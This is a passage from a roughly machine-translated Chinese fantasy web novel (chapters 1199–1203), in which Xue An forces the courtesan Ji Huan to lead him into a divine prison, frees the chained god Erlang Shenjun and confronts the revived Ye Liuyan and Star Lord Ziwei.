    In Ji Huan��s room, Mother Chu stood with her hands down.


    Ji Huan sat there quietly, her expression fluctuating, until after a while, she solemnly said: "Is there any new trend in Lord Tianjun recently?"


    Mother Chu shook her head, "Mrs. Hui, Lord Tianjun and the guest have been talking secretly in the kingdom of God and never came out!"


    Ji Huan was silent, and nodded after a while, "Okay! Send someone to stare at Lord Tianjun. If there is any new trend, I will report it immediately!"


    "Yes!" Mother Chu didn''t dare to defy, nodded hurriedly.


    But there was a trace of doubt in her heart.


    Why Madam and the boy became weird after meeting.


    What''s wrong with her?


    "And..." Ji Huan gritted her teeth, "Drunk Meng must also strengthen surveillance, but besides that, don''t let anyone come into contact with them, especially... the white-clothed boy!"


    Grandma Chu was stunned, then nodded in response: "Understood!"


    "Go down! I''m tired, I want to rest!" Ji Huan waved weakly.


    Mother Chu smiled knowingly, and bowed back.


    Ji Huan leaned on the chair, staring blankly at the ceiling, her face flashed with regret and regret from time to time.


    Now, she hates the drunken dream that brought Xue An to death.


    thought it would be a joy, but ended up taking herself in.


    Ji Huan''s heart was shocked at the thought of being dragged into the grievances between the Chinese and Li Hen Tianjun.


    But that is no ordinary hatred!


    Annihilation of the race, the hatred of the dead.


    Picking out any one is enough to be frightening.


    But it is impossible for me to get out now.


    Thinking of this, Ji Huan held the last gleam of hope, closed his eyes and began to check his body and the sea with divine thoughts.


    Everything is normal, but in the depths of the sea of ??consciousness, there is a long sword standing upright.


    This long sword doesn''t even have a glimmer of sword light, it just floats there quietly.


    Even if it is not deliberately sensed, it will not be aware of its existence.


    But when Ji Huan tentatively separated a trace of divine thought to touch this long sword.


    Seeing the sword light flashed, the divine consciousness that was separated was instantly cut off.


    Ji Huan snorted, her face showed pain, and her heart fell into despair.


    She knew very well that this was the sword print Xue An planted for herself.


    And as he said, if you dare not follow, then you will be dead and dead.


    After thinking for a long time, Ji Huan sighed faintly, then he got up and went to the layman.


    No matter what, I still want to fulfill my promise!


    Otherwise, your own life will not be kept!


    Just when Ji Huan began to rack his brains to plan how to enter the **** prison without disturbing Li Hentian.


    in the Fubao Xiaolou.


    Xiaotian and Jiang Xun Nanzheng looked at the strange world in front of them with stunned expressions.


    Xue An smiled and said: "This is the world I carry with me!"


    , I saw two little girls rushing towards Xue An, cheering and rushing into Xue An��s arms, and then one of them kept kissing Xue An��s cheek.


    I only noticed Xiaotian and Jiang Xunnan on the side until they had been intimate for a while, and couldn''t help but asked a little surprised: "Dad, who are these two uncles and aunts?"


    "Yes, yes! These two uncles and aunts don''t seem to be human!" Nian Nian asked strangely.


    was talking, the koi ball suddenly came out of Niannian''s arms, flew straight to Shuotian''s side, started to circle around him, and even flapped Shuotian''s shoulders with his tail.


    This made Xiaotian also a little surprised, but somehow, he also felt that the breath of this koi was very familiar, and he couldn''t help but raise his hand and gently stroke the ball.


    Qiuqiu let out a happy cry, and then rubbed the fish head on the fingers of Roaring Sky.


    This scene was also seen by An Yan, Hu Ying and others who came later, and they were all a little surprised.


    Because after these days of getting along with each other, everyone knows the character of this koi ball transformed by the **** pattern.


    It can be said that this ball is usually very arrogant.


    In addition to missing these two little girls and An Yan, it doesn''t even buy Huying''s account, let alone an outsider.


    I didn''t expect to be so intimacy with Xuantian.


    Only Xue An was present who understood the reason, and couldn''t help but sigh in secret.


    This ball was originally transformed by the **** pattern, and this **** pattern was created in the land where the gods fell in the sea of ??punishment.


    It can be said that it contains the breath of countless gods who have fought side by side with the Chinese.


    Therefore, after seeing Roaring Sky, it instinctively feels close.


    At this time, Hu Ying looked up and down at Xiaotian and Jiang Xunnan, and then smiled: "It is really strange that they are actually two people!"


    "Sister Fox Fairy, what is the Shao clan?" Zhang Xiaoyu asked with a dazed expression on the side.


    "You don''t even know the clan? It''s the dogs! These canine clan usually call themselves like this!" Hu Ying said with a smile.


    Zhang Xiaoyu suddenly realized, "Oh... it''s a dog!"


    After the words fell, she was shocked to realize that she had failed, and hurriedly covered her mouth, looking at Jiang Xunnan apologetically.


    But Jiang Xunnan didn''t pay attention to this at all. She was looking at Hu Ying in amazement, until after a while, she said in astonishment.


    "Fox...the vixen? But the question is, shouldn''t the vixen be afraid after seeing our canine family?"


    As soon as these words were said, a black line appeared on the forehead of the smiling fox , and then furiously said: "You are a vixen, and your whole family are all vixen! My mother, I am a magnificent sky fox. One family! Your puppy wants to fight, right?"


    You must know that Hu Ying is the most taboo against others calling her a vixen. This is the reason why people call her teppanyaki in conflict with Zhang Xiaoyu.


    Jiang Xunnan was so frightened by Huying''s appearance that he quickly hid behind Xiaotian, and didn''t even dare to lift his head.


    Xue An smiled when he saw it, "Okay! Yinger, these are all my friends. Don''t be so fierce. Be careful not to marry later!"


    ''S words made Hu Ying''s face flushed to the root of her ears, and then said fiercely: "I don''t want to marry, anyway, I will follow Brother Xue! You can''t get rid of me! Humph!"


    said, she turned around and left.


    Only Zhang Xiaoyu stood there silly.


    Before she could speak, Hu Ying grabbed her ears with her backhand, "What are you standing there for? Why don''t you go with my mother?"


    "Oh, it hurts! Sister Fox Fairy, Granny Fox Fairy! Just lighten up, and my ears will almost be pulled off by you!" Zhang Xiaoyu''s "howl" gradually disappeared.


    Xue An smiled helplessly. He also had no choice but to take this Fox Ying, but hoped that he could take the time to send it back to the Qingqiu Fox Country as soon as possible, so that the little Fox Ye would bother his brains. .


    At this time, An Yan stepped forward and gave Xiaotian a distressed look.


    Xue An has already told An Yan what happened, so she respects and cherishes this ill-fated Chinese god, and can''t help saying: "Okay, come in and talk about it! Before the time is up Come, take a good rest!"

 Chapter 1199： Red lips

    Although Xiaotian has not recovered his memory, he has already guessed something faintly, so he respects Xue An and An Yan very much, and can''t help but nod his head: "Yes!"


    The dinner is very rich, not only with a variety of dishes and delicacies brought from the earth, but also fresh fruits and vegetables produced in the Fubao Xiaolou.


    Because of the magical rune ball, this Fubao Xiaolou is changing every day. Not only the area is gradually expanding, but the aura in it is also becoming more and more abundant. That''s why there are these naturally grown spiritual grass fruits and vegetables.


    Everyone also enjoyed it very much.


    Especially Fox Ying.


    Just now, she glared at Jiang Xunnan with a beard, but after such a moment, the two actually sat together intimately and talked very happily.


    Xue An couldn''t help but laugh.


    Regardless of how this Foxying pretends to be mature, in fact, her mind is no different from that of a child.


    Even though she was very savage sometimes, but after a blink of an eye, she herself might have forgotten what she had said.


    For example, now, she and this Jiang Xunnan are like a pair of best friends who have not seen each other for many years.


    The dinner party ended in this warm atmosphere.


    The drunk Xu Tian and Jiang Xunnan did not go back, but were arranged by Xue An to live in a small building in Fubao, which was still a room.


    After the two of them were settled, Xue An went down the stairs and came to the living room.


    Huying and Zhang Xiaoyu are still playing fighting games in their room.


    The two little girls have also fallen asleep.


    Only An Yan sat on the sofa and waited for Xue An.


    Xue An smiled when he saw it, walked straight over, sat next to An Yan, and wrapped An Yan''s shoulder with his hand very naturally.


    An Yan did not speak either, leaning her head on Xue An''s shoulder obediently.


    Both of them were silent.


    Until a long time later, An Yan whispered: "Husband!"


    "Ok?"


    "This battle... will it be difficult?"


    Xue An looked at An Yan in surprise, "Why do you say that?"


    An Yan whispered: "Because I can see that the reason why you came back with Xiaotian and that girl is to fulfill them as soon as possible. If you are not unsure in your heart, why are you doing this?"


    At the end, An Yan��s voice had a hint of anxiety.


    This has never happened before.


    No matter what Xue An did before, An Yan, although worried in her heart, has never been as alarmed as she is now.


    But this time is different, this time Xue An will face, but the truly leading figure in the entire God Realm, a terrifying powerhouse who has lived for tens of thousands of years!


    ''S existence, coupled with Xue An''s actions, naturally made An Yan''s heart touch her throat.


    Xue An laughed when he heard the words, then raised his hand and pinched An Yan''s Qiong nose.


    "Fool, I think a lot!"


    "Husband, is that true? Am I right?" An Yan still reluctantly asked.


    Xue An was silent for a moment, then lightly sighed: "That''s right, it''s not right!"


    "Yes, because as you said, I was thinking about fulfilling this pair of fateful mandarin ducks!"


    "No, I have never lost confidence!"


    Speaking of this, Xue An raised his hand and squeezed An Yan''s lips, motioned her not to speak, and then said with a sigh.


    "I know what you want to ask, and there is a reason why I did this! What do you think...what will happen to this Xuantian after he recovers his memory?"


    Hearing Xue An��s question, An Yan was stunned.


    Yes! His memory is now sealed, but what will happen when he recovers?


    Xue An showed a trace of compassion on his face.


    "The enemy who has mutilated his own compatriots and even killed his own master has blinded his mind, and has been driven for thousands of years. This kind of blow is simply deadly after the memory is restored! Even he is very likely to go to extremes because of this! Who is this? I can''t save it, I can only help him in advance, which is the last bit of warmth to him!"


    Hearing what Xue An said, An Yan suddenly shed tears, and then softly sobbed: "Why...why does the Chinese have to shoulder so much? Even a Chinese **** has to live so cruelly!"


    Xue An patted her shoulder gently, and said softly: "Because the Chinese have never been a race to lose! It is also because of this that the catastrophe that happened ten thousand years ago was incurred, but those people would never understand. , What they did to us, we will eventually return it back a hundred times!"


    Speaking of this, a cold killing intent flashed in Xue An''s eyes.


    An Yan felt it, she couldn''t help shaking, and then gently hugged Xue An''s waist, "Husband, let''s fight together at that time!"


    Xue An chuckled lightly, "Silly Yan''er, I am a man, and men never let their women on the battlefield. If you get to that point, it means it''s really over!"


    "But..." An Yan was a little anxious.


    Xue An gently shook his head, "I can listen to you everything else, but this is the only thing, no!"


    Seeing the solemn expression on Xue An''s face, An Yan''s heart suddenly softened, and then nodded, "Understood!"


    "Don''t worry, your husband and I are invincible!"


    Xue An smiled, but couldn''t tell the rest.


    has sealed his mouth because of the red lips.


    The three days are fleeting.


    When the agreed time comes.


    The atmosphere in the Fubao Xiaolou became a bit tense.


    But Xue An didn''t have any expressions, and left with a roar.


    Jiang Xunnan is blushing also follow.


    But Xiaotian resolutely refused.


    In the end, she could only stare at Xiaotian and follow Xue An to leave, her eyes full of worry.


    The atmosphere became very depressing.


    After a while, Hu Ying smiled and said: "Okay! Don''t be so dull! It''s nothing more than a realm master of the gods, Brother Xue will definitely be fine!"


    Even though I said that, it still couldn''t dispel the worry in An Yan''s eyes.


    Husband, you have to return safely!


    at the same time.


    Xue An, Xiaotian, Zui Meng, and Yu Blade have also followed Mother Chu and met Ji Huan.


    I haven''t seen it for three days, Ji Huan''s face has become a lot haggard, and her eye circles have also become a little black. Obviously she has been very tortured these three days.


    After seeing Xue An, she nodded and said: "Paying for the heavy trust, the matter has been done! Now Li Heng Tianjun is not in Li Hengtian, but in his own kingdom of God, you now go to the temple , You can directly enter the sacred prison!"


    Xue An smiled upon hearing this, "Oh? Really?"


    Ji Huan nodded, "I have already arranged everything there. With this hand, someone will naturally take you over there!"


    said, Ji Huan took out a flawless jade decision.


    But Xue An didn''t answer it. Instead, he glanced at Ji Huan faintly, and then said coldly: "You should give this hand to the opponent yourself!"


    "What do you mean?" Ji Huan was taken aback.


    "Meaning, you have to go with you too!"

 Chapter 1200： Flawless Jade Jue Tianjun warrant

    The look on Ji Huan''s face suddenly became very exciting.


    "This...you don''t need me to follow along. I have already taken care of everything. You...just go directly!"


    The more I talked to the back, Ji Huan''s voice became smaller, because Xue An was looking at her with a cold look.


    Until she finished speaking, Xue An nodded and said lightly: "Alright, in this case, you don''t have to go!"


    Ji Huan was overjoyed and couldn''t help but breathe out, but before her joy reached her eyebrows, she froze.


    Because Xue An continued: "Remember to take a shower, change into a new suit, and then find a place to lie quietly, so that when the soul is destroyed by the sword, you will die with more dignity!"


    After that, Xue An turned around and left.


    Drunk Dream gave Ji Huan a glorious look at the sluggish state, and then turned and left.


    At this moment, Ji Huan trembled all over, and ran over with anxious face, "Big...sir, I suddenly feel that there is nothing wrong with today, so I''ll follow you there!"


    "Is it convenient?" Xue An said without looking back.


    "Convenient, it''s so convenient!" Ji Huan nodded like garlic.


    A cold smile appeared at the corner of Xue An''s mouth, "Well then!"


    Lihencheng is very large.


    In terms of area, it''s even bigger than the sum of the major cities in Amaterasu God''s Domain.


    The people who live here are the real big figures in the gods.


    Because of this, there are almost no defensive measures in this Lihen City.


    In the eyes of people, unless the brain is broken, who would dare to come to such a place to make trouble?


    However, because there are so many strong people in the city, in order to facilitate management, it is strictly forbidden for people to fly into the air in Liheng City.


    But Ji Huan is obviously not forbidden.


    I saw a very magnificent carriage with two rare and rare beasts as imperial horses flying out of Dingtianxuan and heading straight to Lihencheng.


    wherever he goes, the brilliance is dazzling.


    Many strong men looked up one after another, and then they all showed weird looks.


    In this city of Li Hen, no one knows the name of the lady Ji Huan.


    Therefore, Ji Huan��s "stuffs" are something that everyone knows well.


    Speaking of it, the green hat on the head of Li Hentian Jun can already break the sky.


    But I didn''t see Li Hentian Jun expressing any opinions about this, but rather indulged Ji Huan very much.


    Because of this, the many powerful people in the city of Li Hen are also very secretive about this and dare not talk more about it.


    But Ji Huan rarely left Dingtianxuan in the past, what happened today?


    In the eyes of everyone''s doubts, they saw the car heading straight to the temple in the middle of the city.


    Along the way, no one dares to stop.


    The chariot landed directly in the temple. As soon as it landed, a group of people hurried over.


    When Ji Huan got out of the car, the crowd knelt to the ground and shouted respectfully: "I have seen Madam!"


    Ji Huan stood on the car wheel, stood upright, and glanced at the group of people who were kneeling on the ground. After a while, he said coldly.


    "Can Lord Tianjun be here?"


    The man who was kneeling in the front knelt forward and climbed a few steps, raised his head and said flatly: "Madam, Lord Tianjun has something to do recently and is not in the temple, but if you find him, you can send him a message. God reading book seal, you see..."


    "No need!" Ji Huan interrupted this person coldly, "Since Lord Tianjun has important tasks, don''t bother him! I am here without a big deal, just a whim, I want to come here for a stroll. !"


    "Yes, yes, I will send someone to prepare food for the residence, you..."


    Ji Huan waved his hand a little impatiently, "Okay, I don''t have anything by myself, do I need you to prepare it?"


    "Madam, forgive me! I didn''t mean that!" The man''s flattery hit the horse''s leg, and he said in panic.


    "Well, I''m very annoyed when I see you people, let''s step back and let me clean up here!" Ji Huan said coldly.


    "But..." Hearing Ji Huan''s words, the people in charge of guarding here couldn''t help but secretly glanced at each other, and then the leader swallowed and said bitterly.


    "Madam, Lord Tianjun has personally ordered that this is a forbidden place. No matter who it is, you should not stay privately, you..."


    Before the sound of ���� finished, Ji Huan slapped her hand.


    Despite the distance, this slap still slapped the speaker off the ground, rolled in the air for a few times before landing on the ground, then bleeding from his nose and mouth, looking at Ji Huan with horror on his face.


    Ji Huan sneered: "What are you? You dare to say such things in front of me? Lord Tianjun is my husband. How come you become an outsider in your mouth? Could it be that you are going to provoke our husband and wife? Is the relationship between the two?"


    Hearing this, the speaker trembled with fright and couldn''t even speak.


    But at this moment, a guard kneeling behind him said: "Madam, it''s not that I am waiting to embarrass you. It is really our duty. If we retreat, we will know what will happen to Master Tianjun. It will be terrible too! So please forgive me, Madam!"


    This is justified and well-founded, but Ji Huan sneered when he heard the words, "Okay! That''s good! It really deserves to be the guard next to Lord Tianjun! But do you think I am making trouble?"


    "The villain dare not say that but the duty is, it has to be like this!" The guard proclaimed again.


    But at this moment, Ji Huan raised his hand and threw an object directly on the person''s forehead.


    Snapped!


    When things landed, people could see clearly that it was a flawless jade.


    Then Ji Huan sneered: "I know where your duties are, but now Master Tianjun''s warrant is here, do you still dare not follow it?"


    Seeing this jade decision, all the guards were startled.


    They can perceive the heavenly monarch aura contained in this jade decision, so this cannot be faked at all.


    Therefore, after hesitating for a while, these people looked at each other and couldn''t help but kowtow together.


    "In that case, please feel free, madam!"


    After speaking, these guards stood up and raised their hands.


    But I saw countless silent figures walking out of those dark corners of this temple, and at the same time, many pairs of peeping eyes disappeared.


    Then these guards also bowed and retreated.


    in an instant.


    The huge temple became empty.


    After confirming that everyone had left and there was no eyeliner left, Ji Huan couldn''t help taking a breath, and then trembled: "My lord, all right! Everyone has been withdrawn!".


    As soon as the voice fell, I saw a figure gradually appearing in front of the car wheel, then leaned over to pick up the jade decision on the ground, and turned around and smiled at Ji Huan.


    "Is that what you said to do it?"

 Chapter 1201： God **** opens Gods eyes to guide

    Hearing Xue An��s words, Ji Huan showed an awkward look on her face and whispered: "My lord, the guards here are all close to Hentian Jun. Although they usually respect me, they rely on my status. , Cannot command them at all, so..."


    "So you forged the warrant of Li Hentian Jun?" Xue An said lightly.


    Ji Huan lowered his head, and said shrunkenly: "I can''t help it, please forgive me!"


    Xue An is noncommittal.


    Of course he knew that this Ji Huan would never do things for himself willingly.


    In fact, if it hadn''t been for the strong suppression of the sword intent she left behind, she would have confided to Li Hentian.


    Despite this, there is no guarantee that Ji Huan will be honest and obedient.


    That''s why Xue An asked her to come along.


    Otherwise, if my group of people just came over with a fake Tianjun warrant in their hands, it is estimated that they would be exposed at that time.


    After all, these guards are not fools. If it weren''t for Ji Huan''s strong pressure, a fake warrant would not be believed by a fool.


    But Xue An doesn''t bother to care about these things now. In fact, as long as the trapped Chinese gods can be rescued from the prison, even if this Li Hentian Jun doesn''t know, Xue An will have to kill him.


    Ji Huan didn''t think so, but now she was afraid that Xue An would not go well, and then detonated the sword intent in the sea of ??knowledge.


    In that case, I would die too unjustly.


    thought in her heart, she couldn''t help raising her head to say something nice.


    Then she was stunned.


    Because at this moment, Xue An stepped to the center of the hall, his eyes narrowed, as if he was feeling something.


    "My lord, this is..." Ji Huan just wanted to talk.


    Drunken dreams waved his hand impatiently, "Shut up, haven''t you seen that the adults are busy? Stop talking nonsense!"


    Ji Huan''s eyes gradually widened, and she looked at Drunk Dream with an angry look.


    You must know that when the previous drunken dreams saw themselves, they were the same as a mouse and a cat, and they didn''t even dare to show up.


    But this time I dared to speak out and scold myself, which was simply difficult for Ji Huan to accept.


    But Drunken Dreams didn''t bother to pay attention to this woman. She was looking at Xue An with blinking eyes, and her heart gradually tightened together.


    Since being refined by Xue An, she has sincerely recognized Xue An as the master.


    Therefore, she is naturally very worried at this moment.


    Because if you can''t open the door of this sacred prison, then you will really fall short.


    At this moment.


    I saw Xue An Huo Ran raising his eyes, the divine light burst in his eyes, and then I saw a powerful divine consciousness surging like a sea.


    The momentum is so strong that everyone in the distance is suffocated.


    At the same time, but seeing this turbulent spirit transform into an iron fist in midair, then it slammed straight down.


    Boom!


    After a loud noise.


    A major earthquake trembled, and criss-cross cracks appeared on the ground.


    But everything is firmly controlled by Xue An''s mind in a small area, and the outside world is totally unknown.


    Boom!


    is another punch.


    A huge hole appeared on the ground, and there were many folds in even the space, but immediately after that, a lot of black air appeared at the bottom of the pit, repairing everything crazily.


    Xue An''s eyes grew colder, and then he let out a cold voice, "Open!"


    Boom!


    Shennian changed his fist into a knife, and slashed past in an instant.


    Click!


    After a crisp sound.


    However, pieces of space were seen cracking, and then burst into pieces.


    Then a huge crack with thick black air rushing out appeared in front of everyone.


    Looking at this fissure that looked like the abyss of hell, Ji Huan swallowed subconsciously, and her whole body was trembling slightly.


    Because she could feel that beneath the crack, there seemed to be endless tyranny.


    At this time, Xue An turned his head and glanced at the people faintly, "Let''s go!"


    Xiaotian and Zui Meng and others raised their heads forward.


    But Ji Huan took a few steps back, and then forced a smile: "Big...sir, you let me take you here, and I am here too. Now that the prison has been found, even if my task is completed, you ...You should disperse that sword intent and let me go!"


    "Go?" Xue An smiled.


    "Yes Yes!"


    "Do you think you can go now?"


    "What do you mean?" Ji Huan was taken aback, her face changed drastically.


    At this moment, the divine light in Xue An''s eyes flashed, and the divine mind was raging like a tide, directly binding the Ji Huan layer upon layer, Ji Huan screamed, but was dragged into this space gap.


    Immediately afterwards, Xue An looked back at him, smiled coldly, and then stepped into the rift.


    After crossing that layer of space barrier, the first thing that comes into view is the layers of black fog that is too thick to be removed.


    and the surrounding is quiet so that people can hear their own heartbeat.


    The atmosphere became extremely depressing, Ji Huan''s whole body was already shaking, because she could feel that there were countless terrible and dangerous killing intent hidden in this black mist.


    She understood that the place where they were at the moment was the gap between Hentian and the heavens.


    Here, it may be a step away, and you will fall into an unforgettable place.


    And in these black fog, there are countless dangers hidden.


    So she shuddered all over, she didn''t even dare to move.


    Drunken Dream and Xiaotian and others couldn''t help but cast their eyes on Xue An.


    Because at this time they don''t know what to do next.


    Under the gaze of everyone, Xue An''s expression was cold, and then he raised his hand.


    suddenly.


    When Xue An opened the palm of his hand, a stream of light suddenly flew out, and then floated in the air, emitting a few rays of light, just like a lantern.


    When I saw this, my drunken dream was shocked.


    Because this is the **** Xue An eyed from the red prison god.


    "Let''s go!" Xue An said lightly, and then followed this god.


    Zuimeng and others followed without hesitation.


    Only Ji Huan stood on the spot, her expression cloudy and uncertain, thinking about something, but when Xue An and the others were gone, she looked at the thick black fog around her, trembled, and hurriedly chased after her.


    don''t know how long it has been.


    seems to be an hour, and it seems to be a day.


    In this space-time gap, time has lost its meaning.


    But just when everyone began to feel a little irritable, they saw the speed of this **** suddenly increase.


    "Catch up!" Xue An yelled coldly, and followed closely behind.


    After passing through a thick layer of black fog, but seeing this **** eye began to circle a place, and then suddenly looked forward, in the darkness, the space has ripples, and then this **** eye disappears not see.


    Xue An everyone followed without hesitation, passing through the ripples. .


    appeared in front of him is a terrifying world.


    The fangs on the ground are staggered, and there are various huge cracks.

 Chapter 1202： Killing Intent 2

    On top of the towering stone ridges, there are huge bones tied with chains.


    These corpses have grown in age, and they have all appeared to be white.


    But even so, you can still see the posture of these bones before dying.


    Without exception, they were all roaring up in the sky.


    Xue An stood in the void, looking around the whole world, the anger in his eyes gradually boiled.


    Because he can see that these bones are all Chinese gods!


    Is it still a step late!


    In fact, Xue An was mentally prepared for this.


    After all, when Ji Huan followed Li Hentian to the God Prison, there were very few living Chinese gods left, not to mention that more than a thousand years had passed.


    No matter how prepared you are, when you see the bones of so many Chinese gods.


    Xue An''s heart still has murderous intent.


    The mighty power even made the space around him appear cracks.


    This kind of power also made Ji Huan amazed.


    At the same time, I saw the **** head flying straight to the strange mountain in the middle of the gods.


    Xue An followed closely behind and fell on the top of the peak.


    Then I saw this god''s eye circling vigorously, it seemed a little anxious.


    And Ji Huan couldn''t help but tremble at this time: "Big...sir, when I came here with Li Hentian, I entered another space from here! But at that time he used a very complicated set of handprints. I just went in, you..."


    Ji Huan wanted to say that if there was no Li Heng Tianjun''s set of unprinting techniques, it would be impossible to get in.


    Before I finished speaking, I saw Xue An''s face as cold as ice. He took a step forward, then clenched his palms into a fist and blasted out directly.


    ��!


    There was a dull sound.


    Then I saw cracks in the void, as if countless seals were breaking, and with a burst of crackling like firecrackers, a huge entrance began to take shape.


    Xue An said coldly: "There is nothing in this world that can''t be solved with one punch. If there is, then you are not strong enough!"


    said, Xue An stepped into it.


    The **** eye naturally flew into it.


    Ji Huan swallowed in fright. She looked at the entrance to the space blasted by Xue Ansheng with a little shock, and looked at the endless bones around her. She couldn''t help but shudder, and then stepped into it hurriedly. .


    was still shrouded in layers of mist, but under the guidance of this god''s purpose, it did not cause any obstacles to Xue An and others, so he passed through easily.


    When the extremely empty and dead wilderness appeared in front of everyone, Xue An saw the dozen black towers in the middle of the wilderness and...the thin figure in the middle of the chain of the tower.


    Seeing this scene, Xue Anjian raised his eyebrows, without any wind, he walked through the wilderness and came to the tallest tower.


    The black chains extending from the tower are like poisonous pythons, binding the boy in the center layer by layer.


    The young man lowered his head, his messy hair concealed his face, and through the gap, one could still see the layers of shocking scars on the young man''s body.


    Xue An did not speak, but watched quietly.


    at the same time.


    Xiaotian also arrived.


    At this moment, his eyes sometimes flashed with pain, and sometimes fell into confusion again.


    Because he felt that there seemed to be an instinct that was driving him closer to this boy.


    At this time, Xue An took a slow and deep breath, arched his hands full of respect, and said solemnly: "Xue An, the younger Chinese, I have seen Erlang Shenjun!"


    There is no response, the boy is like a lifeless corpse, quietly hanging his head.


    There was a look of sadness and anger in Xue An''s eyes.


    He could see that the famous Erlang God Lord was already at the end of the battle, and even had to sleep most of his consciousness, relying only on a very weak energy to protect his heart and spiritual consciousness, so he would be able to treat everything outside. There is no response.


    Thinking of this, Xue An gritted his teeth, his eyes flashed, and he planned to import part of his aura.


    At this moment, I saw that divine eye anxiously surrounds the Yang Jian body, gleaming, as if urging the noble boy to wake up as soon as possible.


    Finally, I saw the golden light flashing on the dozens of towers, and Houyangjian''s chest began to rise and fall slightly.


    At the beginning, the amplitude of the ups and downs was small, but soon it started to become intense.


    Then he heard Yang Jian let out a low sigh, and slowly raised his head.


    The messy hair spread out, revealing the face underneath that is still noble even though it is trapped.


    It''s just that at this moment, his eyes are closed tightly, and the vertical eye between his forehead is also dry and dim.


    Even at this moment, he is already weak and unable to perceive everything around him through his spiritual thoughts.


    But even so, he still showed a sneer, and then said in an extremely hoarse voice: "Li Hen Tianjun, are you here again?"


    Obviously they regarded Xue An and others as Li Hen Tianjun.


    Xue An did not speak, and everyone was silent for it.


    The surrounding is extremely silent.


    A strange look appeared on Yang Jian''s face, "Why? Don''t speak? What are you thinking about harvesting from me this time? Or maybe you are getting more and more scared and finally plan to do it. Up?"


    ''S tone was full of sarcasm.


    Xue An finally sighed, "Erlang Shenjun, I am not Lihentianjun!"


    Xue An said this sentence in pure Chinese.


    As soon as this sentence came out, Yang Jian''s whole body was shocked, because he heard Xue An''s accent, his face couldn''t help showing excitement, "You...you..."


    Xue An nodded, and said, "God, I am a Chinese junior, Xue An!"


    "Chinese junior...... Are you really a Chinese junior?" A look of surprise appeared on Yang Jian''s face.


    Xue An knew that he still couldn''t believe it, so he waved casually.


    The god''s eye flew straight to Yang Jian, and then it could not wait to forcibly merge into Yang Jian''s forehead.


    The return of this god''s purpose caused Yang Jian to shake his whole body. The body that had already fallen into dryness began to greedily **** the rare power, and the scars on his body began to heal gradually.


    In an instant, his injury was half healed, and then he slowly opened his eyes.


    After seeing Xue An standing in front of him, Yang Jian was finally convinced that this was not caused by Li Hen Tianjun. .


    This made his expression gradually become agitated, but when he opened his mouth to speak, his expression suddenly changed, and he looked anxiously at the distant sky, and then anxiously said: "Lady, go! It''s Li Hentianjun. People! They are coming!"


    At this moment, Xue An also raised his head to look at the rippling sky, and then smiled faintly, "Go? Why go, now that I have found you, then I''ll be them!"

 Chapter 1203： Red Lotus Immortal Venerable Invincible Heavens

    At the same time, but seeing the ripples on the sky, there was a sudden shock, and a figure was spit out from it.


    After seeing this figure, Ji Huan couldn''t help but screamed.


    "Liu...Liu Yan? How is it possible, won''t you be resurrected for a long time?"


    That''s right!


    It was Ye Liuyan who had led the army to invade the earth and was finally refined by Xue An.


    is the son of Li Heng Tianjun!


    Of course, this son has nothing to do with Ji Huan.


    But Ji Huan, as the eldest lady in the name of Li Hen Tianjun, naturally knows that Li Hen Tianjun cultivated the trace of divine consciousness left by Ye Liuyan and tried to revive him.


    It is reasonable to say that this can only be completed in at least a thousand years. How can it be resurrected soon?


    Ji Huan was terrified in her heart, but faintly felt that Ye Liuyan was a little strange, but she couldn''t tell how strange it was.


    But Ye Liuyan ignored her, but looked at Xue An with extremely cold eyes, and then a brutal smile appeared at the corner of her mouth.


    "Xue An, long time no see!"


    ''S voice was cold, but Ji Huan''s body was shocked, and then she looked at Ye Liuyan in horror.


    At this moment, she finally understands what the strangeness she felt just now is.


    Because of the Ye Liuyan in front of him, although the body and appearance are the same, it gives people a plausible feeling, as if it is mixed with other people''s personality and spirit.


    Especially his voice.


    Ji Huan can be sure that this is definitely not Ye Liuyan''s voice.


    This feeling is simply weird! Ji Huan''s heart was cold, and her whole body was trembling.


    But Xue An was not moved at all, but looked at this Ye Liuyan quietly, and then smiled coldly, "Interesting!"


    Talking, Xue Anhao looked at Ye Liuyan in his spare time, and said lightly: "Should I call you Ye Liuyan, or should I call you the son of Ziwei?"


    That''s right!


    The reason why Ye Liuyan now reveals weirdness everywhere, and can be reborn successfully in such a short period of time, the fundamental reason is that he and the fallen Ziwei God Child have become one.


    As for why the **** son of Ziwei, who has died so much that he can no longer die, left his mind.......


    With the strength of Ziwei Xingjun, it is not impossible to capture a trace of the spirit left by his son.


    At this time.


    Ye Liuyan laughed grinningly, "Xue An, you are really amazing! You can even see the history of the two of us at a glance, but do you think that with the strength of your rebirth, you can really be invincible to the heavens? , You thought you were the one... Where is the Red Lotus Immortal?"


    Honglian Xianzun!


    this name finally appeared again.


    If there is a strong man among the heavens present, it is estimated that he will kneel to the ground in shock by this name, and dare not look up.


    Because of this name, it symbolizes the strongest existence in the entire universe.


    That is the only strong man standing above hundreds of millions of people.


    Symbol of invincibility!


    And when he heard these words, Xue An was silent for a while, and then smiled slightly.


    "It''s been a long time since I heard this name, it seems you know it!"


    "Of course!" Ye Liuyan had a look of hatred in Ye Liuyan''s eyes, "Xue An, you are really big enough. Now the news about your fall has spread among the heavens. Everyone thought you were dead, but they didn''t expect it. You are still alive, and even your strength has recovered a lot!"


    "But you shouldn''t be against our God Realm!" Ye Liuyan showed a very resentful look on his face. "No matter how tyrannical you were before you were reborn, you are not that unique immortal powerhouse now, but you However, they have repeatedly opposed me waiting for the Protoss, and even dared to slaughter the two of me! You are purely looking for death!"


    Xue An smiled, "Let''s put it aside if you don''t want to die, do you think... you are qualified to say this to me?"


    Ye Liuyan''s expression changed, "You..."


    The words didn''t finish, but seeing Xue An''s whole body instantly appear behind Ye Liuyan, he raised his hand and threw a punch, directly blasting Ye Liuyan out.


    Unexpectedly, Ye Liuyan was like a kite with a broken line. He was blasted out dozens of miles away. After standing still, he opened his mouth and spit out a big mouthful of blood, and looked at Xue An''s eyes full of fear. .


    He didn''t expect that Xue An, who forcibly suppressed his cultivation base, would actually blast himself out by relying solely on the strength of his physical body.


    Even though he has just been reborn, but this kind of strength is too unbelievable.


    And Xue An did not chase, but stood proudly in the void, and said lightly: "Since the two of you can become one body and regenerate weight, it means that your two fathers have long been united!"


    Speaking of this, Xue An raised his head and looked at the sky, and said coldly: "That said, this incident is a trap you set from the beginning, right? Li Heng Tianjun, Star Lord Ziwei?"


    Following Xue An��s voice, there was a sneer and a sigh from the sky, and then I saw that the originally gray sky suddenly became gloomy, and huge stars appeared, but in the middle of the sky full of stars. , It is a supreme and noble star like the moon with a purple star.


    Under the starlight a tall figure wearing a purple royal robe began to emerge gradually.


    When his figure was revealed, he was a man with a majestic manner, like a nine-day emperor.


